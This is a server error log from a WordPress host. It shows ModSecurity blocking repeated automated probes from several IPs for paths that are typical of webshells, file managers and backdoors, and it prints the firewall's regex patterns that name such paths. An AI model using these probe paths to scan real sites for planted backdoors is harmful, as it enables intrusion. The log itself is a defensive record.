[Sat Feb 28 05:45:46.691861 2026] [:error] [pid 39184:tid 39228] [client 20.220.212.70:52827] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaIQiltZF9Zd_U7easArtQAAAEk"]
[Sat Feb 28 05:45:47.550931 2026] [:error] [pid 39292:tid 39305] [client 20.220.212.70:52765] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaIQi6IAO5fN7BxyqcE39AAAAMs"]
[Sat Feb 28 05:45:48.470044 2026] [:error] [pid 39292:tid 39297] [client 20.220.212.70:52740] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaIQjKIAO5fN7BxyqcE3-gAAAMM"]
[Sat Feb 28 06:46:45.017870 2026] [proxy_fcgi:error] [pid 39184:tid 39221] [client 104.208.116.225:5045] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 06:46:45.142904 2026] [proxy_fcgi:error] [pid 39184:tid 39241] [client 104.208.116.225:5045] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 06:46:45.393639 2026] [proxy_fcgi:error] [pid 39184:tid 39235] [client 104.208.116.225:5045] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 06:46:45.544258 2026] [proxy_fcgi:error] [pid 39184:tid 39219] [client 104.208.116.225:5045] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 06:46:45.792319 2026] [proxy_fcgi:error] [pid 39184:tid 39240] [client 104.208.116.225:5045] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 06:46:45.916984 2026] [proxy_fcgi:error] [pid 39184:tid 39220] [client 104.208.116.225:5045] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 06:46:46.041483 2026] [proxy_fcgi:error] [pid 39184:tid 39237] [client 104.208.116.225:5045] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 06:46:46.286472 2026] [:error] [pid 39184:tid 39229] [client 104.208.116.225:5045] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaIe1ltZF9Zd_U7easBADwAAAEo"]
[Sat Feb 28 06:46:46.801511 2026] [:error] [pid 39292:tid 39315] [client 104.208.116.225:5019] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaIe1qIAO5fN7BxyqcF3pQAAANU"]
[Sat Feb 28 06:46:47.279706 2026] [:error] [pid 39292:tid 39317] [client 104.208.116.225:4432] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaIe16IAO5fN7BxyqcF3qwAAANc"]
[Sat Feb 28 06:46:47.748847 2026] [:error] [pid 22194:tid 22198] [client 104.208.116.225:4469] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaIe136mbajs3bzQGysKNgAAAUI"]
[Sat Feb 28 06:51:12.624099 2026] [:error] [pid 39185:tid 39269] [client 216.73.160.187:42709] [client 216.73.160.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.187, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaIf4BVE-FfM89u7BQZVWwAAAJc"]
[Sat Feb 28 06:51:12.634710 2026] [proxy_fcgi:error] [pid 39185:tid 39269] [client 216.73.160.187:42709] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:31:08.629175 2026] [:error] [pid 22194:tid 22213] [client 216.73.160.42:56937] [client 216.73.160.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.42, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaIpPH6mbajs3bzQGysr7AAAAVE"]
[Sat Feb 28 07:31:08.640709 2026] [proxy_fcgi:error] [pid 22194:tid 22213] [client 216.73.160.42:56937] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:47.277279 2026] [proxy_fcgi:error] [pid 39185:tid 39246] [client 20.220.212.70:37285] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:47.487025 2026] [proxy_fcgi:error] [pid 39185:tid 39266] [client 20.220.212.70:37285] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:47.732074 2026] [proxy_fcgi:error] [pid 39185:tid 39262] [client 20.220.212.70:37285] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:47.973439 2026] [proxy_fcgi:error] [pid 39185:tid 39265] [client 20.220.212.70:37285] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:48.213584 2026] [proxy_fcgi:error] [pid 39185:tid 39267] [client 20.220.212.70:37285] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:48.452454 2026] [proxy_fcgi:error] [pid 39185:tid 39249] [client 20.220.212.70:37285] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:48.909418 2026] [proxy_fcgi:error] [pid 39185:tid 39257] [client 20.220.212.70:37285] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:49.166899 2026] [proxy_fcgi:error] [pid 39185:tid 39268] [client 20.220.212.70:37285] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:49.401689 2026] [proxy_fcgi:error] [pid 39185:tid 39254] [client 20.220.212.70:37285] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:49.642277 2026] [proxy_fcgi:error] [pid 39185:tid 39269] [client 20.220.212.70:37285] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 07:38:49.876641 2026] [:error] [pid 39185:tid 39260] [client 20.220.212.70:37285] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaIrCRVE-FfM89u7BQZnEQAAAI4"]
[Sat Feb 28 07:38:50.841459 2026] [:error] [pid 11791:tid 11813] [client 20.220.212.70:37295] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaIrCmuX5e1Q32gqxH3NPAAAARQ"]
[Sat Feb 28 07:38:51.793746 2026] [:error] [pid 22194:tid 22203] [client 20.220.212.70:37083] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaIrC36mbajs3bzQGysyBQAAAUc"]
[Sat Feb 28 07:38:52.714625 2026] [:error] [pid 39185:tid 39264] [client 20.220.212.70:37283] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaIrDBVE-FfM89u7BQZnEgAAAJI"]
[Sat Feb 28 08:37:01.605598 2026] [proxy_fcgi:error] [pid 11791:tid 11800] [client 173.244.55.29:20923] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:02.057472 2026] [proxy_fcgi:error] [pid 11791:tid 11794] [client 173.244.55.29:20923] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:02.504436 2026] [proxy_fcgi:error] [pid 11791:tid 11804] [client 173.244.55.29:20923] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:02.961490 2026] [proxy_fcgi:error] [pid 11791:tid 11802] [client 173.244.55.29:20923] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:03.406759 2026] [proxy_fcgi:error] [pid 11791:tid 11805] [client 173.244.55.29:20923] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:03.856178 2026] [proxy_fcgi:error] [pid 11791:tid 11808] [client 173.244.55.29:20923] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:04.303491 2026] [proxy_fcgi:error] [pid 11791:tid 11815] [client 173.244.55.29:20923] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:04.746790 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.29:20923] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aaI4sGuX5e1Q32gqxH0BkAAAARg"]
[Sat Feb 28 08:37:05.634607 2026] [proxy_fcgi:error] [pid 39183:tid 39207] [client 173.244.55.31:21397] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:06.081458 2026] [proxy_fcgi:error] [pid 39183:tid 39216] [client 173.244.55.31:21397] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:06.526074 2026] [proxy_fcgi:error] [pid 39183:tid 39210] [client 173.244.55.31:21397] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:07.419440 2026] [proxy_fcgi:error] [pid 39183:tid 39202] [client 173.244.55.31:21397] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:07.878452 2026] [proxy_fcgi:error] [pid 39183:tid 39197] [client 173.244.55.31:21397] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:08.326450 2026] [proxy_fcgi:error] [pid 39183:tid 39198] [client 173.244.55.31:21397] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:08.765609 2026] [:error] [pid 39183:tid 39196] [client 173.244.55.31:21397] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aaI4tBCf4HvhVePw3LaVkAAAAAQ"]
[Sat Feb 28 08:37:09.635257 2026] [:error] [pid 39292:tid 39298] [client 173.244.55.23:32119] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aaI4taIAO5fN7BxyqcETbwAAAMQ"]
[Sat Feb 28 08:37:10.527443 2026] [proxy_fcgi:error] [pid 11791:tid 11812] [client 173.244.55.21:49945] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:10.979202 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 173.244.55.21:49945] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:11.437750 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 173.244.55.21:49945] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:11.893471 2026] [proxy_fcgi:error] [pid 11791:tid 11808] [client 173.244.55.21:49945] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:12.338742 2026] [proxy_fcgi:error] [pid 11791:tid 11797] [client 173.244.55.21:49945] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:12.781518 2026] [proxy_fcgi:error] [pid 11791:tid 11811] [client 173.244.55.21:49945] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:13.221014 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.21:49945] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aaI4uWuX5e1Q32gqxH0CLgAAARQ"]
[Sat Feb 28 08:37:14.094518 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.31:58855] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aaI4umuX5e1Q32gqxH0COgAAARU"]
[Sat Feb 28 08:37:17.670479 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.23:31827] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/bootstrap.php"] [unique_id "aaI4vaIAO5fN7BxyqcET0wAAAMk"]
[Sat Feb 28 08:37:20.334128 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.20:46361] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/linkpreview/db.php"] [unique_id "aaI4wH6mbajs3bzQGyt9uQAAAVc"]
[Sat Feb 28 08:37:21.215861 2026] [:error] [pid 39185:tid 39262] [client 173.244.55.26:35513] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/linkpreview/db.php"] [unique_id "aaI4wRVE-FfM89u7BQaOhwAAAJA"]
[Sat Feb 28 08:37:22.088800 2026] [:error] [pid 39185:tid 39257] [client 173.244.55.28:22109] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/linkpreview/db.php"] [unique_id "aaI4whVE-FfM89u7BQaOiwAAAIs"]
[Sat Feb 28 08:37:24.307728 2026] [:error] [pid 11791:tid 11811] [client 173.244.55.22:62335] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaI4xGuX5e1Q32gqxH0CuwAAARI"]
[Sat Feb 28 08:37:25.627259 2026] [:error] [pid 39185:tid 39257] [client 173.244.55.29:25687] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/admin.php"] [unique_id "aaI4xRVE-FfM89u7BQaOvAAAAIs"]
[Sat Feb 28 08:37:26.950335 2026] [:error] [pid 39184:tid 39238] [client 173.244.55.30:35117] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/kill.php"] [unique_id "aaI4xltZF9Zd_U7easBw7gAAAFM"]
[Sat Feb 28 08:37:28.288366 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.21:53787] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaI4yKIAO5fN7BxyqcEUSwAAANE"]
[Sat Feb 28 08:37:29.159235 2026] [:error] [pid 22194:tid 22197] [client 173.244.55.31:27867] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaI4yX6mbajs3bzQGyt-IwAAAUE"]
[Sat Feb 28 08:37:30.476402 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.29:52677] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aaI4yn6mbajs3bzQGyt-QgAAAVU"]
[Sat Feb 28 08:37:31.357668 2026] [:error] [pid 39183:tid 39206] [client 173.244.55.21:22093] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aaI4yxCf4HvhVePw3LaWMAAAAA4"]
[Sat Feb 28 08:37:32.238721 2026] [:error] [pid 22194:tid 22208] [client 173.244.55.29:27543] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aaI4zH6mbajs3bzQGyt-YwAAAUw"]
[Sat Feb 28 08:37:34.014483 2026] [proxy_fcgi:error] [pid 39292:tid 39296] [client 173.244.55.22:38587] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:34.449136 2026] [:error] [pid 39292:tid 39294] [client 173.244.55.22:38587] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/94056-upload.phtml"] [unique_id "aaI4zqIAO5fN7BxyqcEUoQAAAMA"]
[Sat Feb 28 08:37:35.803179 2026] [:error] [pid 39183:tid 39197] [client 173.244.55.20:36013] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aaI4zxCf4HvhVePw3LaWWAAAAAU"]
[Sat Feb 28 08:37:36.699706 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.29:48207] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aaI40KIAO5fN7BxyqcEUtwAAAME"]
[Sat Feb 28 08:37:38.005090 2026] [:error] [pid 39183:tid 39207] [client 173.244.55.25:39267] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaI40hCf4HvhVePw3LaWbQAAAA8"]
[Sat Feb 28 08:37:39.336437 2026] [:error] [pid 39183:tid 39196] [client 173.244.55.21:21481] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/moon.php"] [unique_id "aaI40xCf4HvhVePw3LaWewAAAAQ"]
[Sat Feb 28 08:37:40.222487 2026] [proxy_fcgi:error] [pid 11791:tid 11801] [client 173.244.55.22:53309] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:40.673611 2026] [proxy_fcgi:error] [pid 11791:tid 11808] [client 173.244.55.22:53309] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:41.119054 2026] [:error] [pid 11791:tid 11811] [client 173.244.55.22:53309] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaI41WuX5e1Q32gqxH0DcQAAARI"]
[Sat Feb 28 08:37:42.003914 2026] [:error] [pid 39184:tid 39219] [client 173.244.55.29:54503] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/item.php"] [unique_id "aaI41ltZF9Zd_U7easBxQgAAAEA"]
[Sat Feb 28 08:37:43.321671 2026] [proxy_fcgi:error] [pid 11791:tid 11804] [client 173.244.55.28:38001] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:44.199181 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.28:38001] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/classwithtostring.php"] [unique_id "aaI42GuX5e1Q32gqxH0DkwAAAQQ"]
[Sat Feb 28 08:37:45.529043 2026] [:error] [pid 22194:tid 22198] [client 173.244.55.20:31759] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/elementor/wp-wjvngrh.php"] [unique_id "aaI42X6mbajs3bzQGyt_PgAAAUI"]
[Sat Feb 28 08:37:47.304179 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.31:51553] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaI422uX5e1Q32gqxH0DvAAAARM"]
[Sat Feb 28 08:37:48.181430 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.25:33043] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aaI43H6mbajs3bzQGyt_awAAAVA"]
